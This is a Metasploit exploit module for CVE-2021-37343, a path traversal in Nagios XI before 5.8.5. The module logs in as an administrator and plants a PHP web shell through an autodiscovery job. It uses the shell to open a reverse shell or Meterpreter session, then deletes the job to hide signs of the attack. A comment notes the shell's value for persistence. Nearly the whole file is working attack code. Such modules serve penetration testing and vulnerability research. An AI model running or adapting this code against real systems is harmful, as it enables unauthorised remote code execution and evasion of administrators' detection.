Nagios XI Autodiscovery Shell Upload Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI Autodiscovery Webshell Upload',
        'Description' => %q{
          This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
          The path traversal allows a remote and authenticated administrator to upload a PHP web shell
          and execute code as `www-data`. The module achieves this by creating an autodiscovery job
          with an `id` field containing a path traversal to a writable and remotely accessible directory,
          and `custom_ports` field containing the web shell. A cron file will be created using the chosen
          path and file name, and the web shell is embedded in the file.

          After the web shell has been written to the victim, this module will then use the web shell to
          establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
          the module, and the autodiscovery job is removed as well.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Claroty Team82', # vulnerability discovery
          'jbaines-r7' # metasploit module
        ],
        'References' => [
          ['CVE', '2021-37343'],
          ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
        ],
        'DisclosureDate' => '2021-07-15',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              },
              'Payload' => {
                'Append' => ' & disown'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
      OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
      OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
      OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
    ]

    @webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
    @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
  end

  # Authenticate and grab the version from the dashboard. Store auth cookies for later user.
  def check
    login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
    case login_result
    when 1..3 # An error occurred
      return CheckCode::Unknown(res_array[0])
    when 4
      return CheckCode::Detected('Nagios is not fully installed.')
    when 5
      return CheckCode::Detected('The Nagios license has not been signed.')
    end

    # res_array[1] cannot be nil since the mixin checks for that already.
    @auth_cookies = res_array[1]

    nagios_version = nagios_xi_version(res_array[0])
    if nagios_version.nil?
      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
    end

    # affected versions are 5.2.0 -> 5.8.4
    if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
       Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
      return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
    end

    CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
  end

  # Using the path traversal, upload a php webshell to the remote target
  def drop_webshell
    autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
    print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => autodisc_uri,
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'newjob'
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')

    # snag the nsp token from the response
    nsp = get_nsp(res)
    fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?

    # drop a basic web shell on the server
    webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
    print_status("Uploading webshell to #{webshell_location}")
    php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
    payload = 'update=1&' \
      "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
      "nsp=#{nsp}&" \
      'address=127.0.0.1%2F0&' \
      'frequency=Yearly&' \
      "custom_ports=#{php_webshell}&"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => autodisc_uri,
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'newjob'
      },
      'data' => payload
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302

    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
    print_status('Testing if web shell installation was successful')
    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
    res = execute_via_webshell("echo #{rand_data}")
    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
    print_good("Web shell installed at #{webshell_location}")

    # This is a great place to leave a web shell for persistence since it doesn't require auth
    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
    if datastore['DELETE_WEBSHELL']
      register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
    end
  end

  # Successful exploitation creates a new job in the autodiscovery view. This function deletes
  # the job that there is no evidence of exploitation in the UI.
  def cleanup_job
    print_status('Deleting autodiscovery job')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'deletejob',
        'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
  end

  # Executes commands via the uploaded webshell
  def execute_via_webshell(cmd)
    cmd = Rex::Text.uri_encode(cmd)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    res
  end

  def execute_command(cmd, _opts = {})
    execute_via_webshell(cmd)
  end

  def exploit
    # create a randomish web shell name if the user doesn't specify one
    @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"

    drop_webshell

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  ensure
    cleanup_job
  end
end